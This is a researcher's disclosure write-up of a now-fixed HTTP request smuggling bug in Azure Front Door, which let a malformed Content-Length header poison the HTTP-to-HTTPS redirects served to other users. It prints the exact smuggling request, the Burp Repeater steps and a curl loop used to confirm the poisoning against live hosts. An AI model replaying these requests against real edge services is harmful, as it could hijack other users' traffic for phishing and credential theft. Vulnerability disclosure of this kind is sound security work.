Smuggling Through the Front Door... Achieving Global Redirect Poisoning at the Edge

In this post, I want to walk through a request smuggling bug chain I reported to MSRC that affected Azure Front Door. This issue was tracked as VULN-152925, confirmed by Microsoft, fixed, and awarded under the Azure bounty program.

Smuggling Through the Front Door... Achieving Global Redirect Poisoning at the Edge

In my last paper, I showed how a request smuggling bug chain could be used to completely compromise the HTTPS security layer of multiple companies by abusing behavior in third-party infrastructure. While researching similar edge services, I began looking at Azure Front Door to see if it exposed any interesting parsing inconsistencies that could be abused in a similar manner.

What started as a malformed Content-Length header and a request body that Azure Front Door appeared to interpret differently across parts of the request path quickly became something much more interesting. What initially looked like a simple HTTP parsing issue eventually revealed that a smuggled request could influence redirect behavior for other users, not just my own connection.

On certain Azure Front Door-backed properties, I was able to poison the redirect response generated for normal traffic. In the strongest cases, a standard HTTP to HTTPS redirect could be changed so the Location header pointed at a completely different Azure Front Door hostname. That meant a clean request from another client, coming from another network, could receive a redirect shaped by my malformed request.

As usual, I reserve the right to be wrong about some of the internals. I do not work for Microsoft, and edge/CDN behavior can get complicated quickly. What I can show clearly is the external behavior I reproduced, the request shape that triggered it, and the impact MSRC accepted.

Prerequisites

If you have read my older request smuggling posts, this one follows the same general pattern:

  • find a parsing difference between an edge component and something behind it
  • turn that parsing difference into a controlled request fragment
  • prove that the fragment affects a response intended for a different request
  • then prove that the behavior is not local to my Burp session

For testing, I used Burp Suite Professional and Repeater. The key Repeater options mattered a lot:

  • Update Content-Length needed to be disabled
  • Normalize HTTP/1 line endings needed to be disabled
  • the requests needed to be sent as a group using separate connections

The point was to preserve the malformed bytes exactly as I sent them. If the tooling “helpfully” fixed the request, the bug disappeared.

I used Azure Front Door-backed domains as proof-of-concept targets to demonstrate the platform behavior. The important part was that the affected properties were going through Azure Front Door and produced redirects in a way the smuggled request could influence.

Discovery

The first useful place to study the behavior was a few Azure Front Door-backed hosts:

http://test.signup.[redacted].org/
http://meals2go.wegmans.com

What made this target interesting was not the application itself, but how predictable the edge behavior was. A normal HTTP request returned a clean redirect to the HTTPS version of the same hostname. No complex application logic, no login flow, no noisy response body. Just a straightforward platform generated redirect.

That kind of baseline is valuable when researching request smuggling, because the smallest change in routing or response construction becomes obvious. If a normal request always redirects to the same HTTPS URL, then a redirect to a different host is a strong signal that something deeper in the request path has been influenced.

So the first step was understanding the boring behavior... send a normal request, observe the expected redirect, and then start testing whether malformed requests could disturb that redirect for a separate clean request.

GET / HTTP/1.1
Host: test.signup.[redacted].org
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

The response was a normal redirect:

HTTP/1.1 307 Temporary Redirect
Content-Type: text/html
Content-Length: 0
Location: https://test.signup.[redacted].org/
x-azure-ref: 20250427T...
Connection: keep-alive  

Nothing interesting there.

The interesting behavior appeared when I put a malformed POST behind that normal request and sent the group several times. The malformed request looked like this:

POST / HTTP/1.1
Host: test.signup.[redacted].org
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length:  51
  
GET http://meals2go.wegmans.com HTTP/1.1
Smuggle:

There are two details here that mattered.

First, the Content-Length value had two spaces before the number:

Content-Length:  51

Second, the final Smuggle: header had a single trailing space and no trailing CRLF after it. In Burp, that is easy to accidentally lose if Repeater normalizes line endings or recalculates the body.

The body of the POST is not normal form data. It is a second HTTP request:

GET http://meals2go.wegmans.com HTTP/1.1
Smuggle:  

That full URL is the part I wanted to test. If Azure Front Door or a component behind it treated the body as a request, and later used that request when building a redirect, I might be able to move the victim’s Location header away from the original host.

Repeater Setup

The setup was similar to my previous request smuggling research:

  1. Send the normal GET request to Repeater.
  2. Duplicate it into two additional tabs.
  3. Leave the first tab as the clean control request.
  4. Replace tabs two and three with the malformed POST request.
  5. Create a tab group.
  6. Use Send group (separate connections).
  7. Press send several times quickly.

The clean tab was important because I wanted to see whether a normal user-style request could pick up state from the malformed requests.

When the attack did not land, the clean request returned the expected redirect:

HTTP/1.1 307 Temporary Redirect
Location: https://test.signup.[redacted].org/  

When the attack did land, the same clean request returned a different redirect:

HTTP/1.1 307 Temporary Redirect
Location: https://meals2go.wegmans.com/ 

This was the first “okay, this is real” moment. I was not just changing the response to my malformed request. I was influencing the redirect returned to a clean request.

Proving Global Impact

One Burp window is not enough proof for a bug like this. Local connection reuse, a single edge node, or a Burp artifact can trick you into overestimating impact.

So I used a remote VPS to simulate a normal user repeatedly visiting the target while I triggered the malformed request from my test machine:

for  i  in {1..100}; do  curl  -k  -sI  http://test.signup.[redacted].org/ && sleep  2; done

Most responses were normal:

HTTP/1.1 307 Temporary Redirect
Content-Type: text/html
Content-Length: 0
Location: https://test.signup.[redacted].org/
x-azure-ref: 20250427T...
Connection: keep-alive

Then, while the loop was still running from the remote host, I sent the malformed group from Burp a few times. The remote client started receiving this:

HTTP/1.1 307 Temporary Redirect
Content-Type: text/html
Content-Length: 0
Location: https://meals2go.wegmans.com/
x-azure-ref: 20250427T...
Connection: keep-alive

That was the impact I cared about. A separate client, from a separate host, could receive the poisoned redirect.

This changed the bug from “I can confuse my own connection” into “I can influence traffic intended for other users.”

Why Azure Front Door Made This Interesting

While testing, I noticed the behavior was not simply "redirect to any string on the internet." There appeared to be Azure Front Door-specific routing behavior involved.

When I smuggled a host that was not associated with Azure Front Door, the response often became Azure’s generic “Page not found” page:

Page not found

Oops! We weren't able to find your Azure Front Door Service configuration.
If it's a new configuration that you recently created, it might not be ready yet.

That error page was useful because it suggested the smuggled value was being handed into Azure Front Door’s routing layer. If the host was not known to Azure Front Door, Azure said it could not find the configuration. If the host was a valid Azure Front Door property, it could be used in the redirect chain.

That made attacker-controlled Azure Front Door hostnames more interesting than random external domains. If an attacker could create an Azure Front Door endpoint, that endpoint could sit inside the same routing universe as the victim property.

Later in the report, I tested with my own Azure Front Door hostname:

https://d3d-ejdwaudvfxgqfkbq.z01.azurefd.net/

The same malformed structure worked against other Azure Front Door-backed hosts:

POST / HTTP/1.1
Host: admin-portal.[redacted].com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 67
  
GET http://d3d-ejdwaudvfxgqfkbq.z01.azurefd.net HTTP/1.1
Smuggle:  

And the remote curl loop showed the redirect jump:

HTTP/1.1 307 Temporary Redirect
Location: https://admin-portal.[redacted].com/

HTTP/1.1 307 Temporary Redirect
Location: https://d3d-ejdwaudvfxgqfkbq.z01.azurefd.net/
  
HTTP/1.1 307 Temporary Redirect
Location: https://admin-portal.[redacted].com/  

At that point, the primitive was clear:

malformed POST body -> smuggled absolute URL -> poisoned redirect Location

More Than A Few Hosts

The important observation was not that every Azure Front Door deployment behaved identically. They did not. Customer-specific cache policies, redirect logic, origin configurations, and protocol handling influenced how the issue ultimately manifested.

What stood out was the consistency with which the same malformed request pattern triggered externally observable anomalies across a wide range of Azure Front Door-backed hosts. While the resulting behavior varied between deployments, the underlying condition repeatedly surfaced during testing.

As I summarized in the MSRC thread, the behavior ultimately narrowed down to a request smuggling vector whose cache impact was dependent on customer configuration. A significant number of hosts exhibited globally cacheable redirect poisoning, while others demonstrated localized or edge-specific poisoning effects. Additional targets returned Azure Front Door configuration errors or other anomalous responses. Despite these differences, the same parsing inconsistency continued to appear across numerous independently operated Azure Front Door deployments.

Impact

The immediate impact was traffic hijacking.

For a vulnerable host, an unauthenticated attacker could race malformed requests against normal requests and cause unrelated clients to receive a poisoned redirect. In the proof of concept, the redirect pointed to another Azure Front Door-backed host. In a real attack, that could be an attacker-controlled Azure Front Door endpoint.

That matters because redirects are often treated as boring infrastructure glue. Users do not see the HTTP to HTTPS redirect as part of the application. They type or click a domain, and the platform handles the rest. If that redirect layer can be poisoned globally, the attacker gets a position before the user ever reaches the intended application.

Depending on the target and configuration, that could lead to:

  • phishing through a trusted initial domain
  • credential collection on an attacker-controlled lookalike endpoint
  • traffic interception for users who started on the affected URL
  • denial of service by poisoning redirects to broken Azure Front Door configurations
  • chaining with other frontend or cache behaviors

The bug was assessed by MSRC as:

Severity: Important
Security Impact: Elevation of Privilege
Bounty: $10,000
Case: 97390
Vulnerability: VULN-152925

The "Elevation of Privilege" label may sound strange for a redirect poisoning issue, but in cloud edge platforms the trust boundary is not just the web application. The platform is deciding which customer, origin, or route should receive traffic. If malformed traffic can influence how a different request is routed, that is a platform-level privilege boundary problem.

On July 2, 2025, MSRC told me a fix had been reported, the case was resolved, and the issue was closed.

That should have been the end of it.

But while testing the patch, I realized something important: the redirect poisoning path had changed, but a related XSS/cache poisoning behavior I had mentioned near the end of the first ticket still worked. That became the second report.

Closing

The main lesson from this bug is that redirect layers are not harmless.

HTTP to HTTPS redirects are often treated like plumbing. They sit in front of the application, they are configured once, and nobody thinks about them again. But that is exactly why they are interesting. If the edge layer is willing to construct a redirect from request data that crossed a parser boundary, a small desync can become a platform-wide routing bug.

This issue was also a reminder that "request smuggling" is not one bug. It is a family of parser disagreements. The exploit path depends on what the next component does with the smuggled bytes. Sometimes you get a timeout. Sometimes you get a weird 400. Sometimes you get a poisoned redirect seen by another user.

In this case, the chain was:

malformed Content-Length
-> request desynchronization
-> smuggled absolute URL
-> Azure Front Door routing behavior
-> poisoned redirect Location
-> unrelated clients sent to attacker-controlled infrastructure

Microsoft fixed this report and paid a bounty, but the story did not end there. The follow-up bug used a different request shape, survived the first patch, and turned the same broad class of behavior into a zero-click XSS/cache poisoning issue that worked on both HTTP/1.x and HTTP/2.

That is the next post.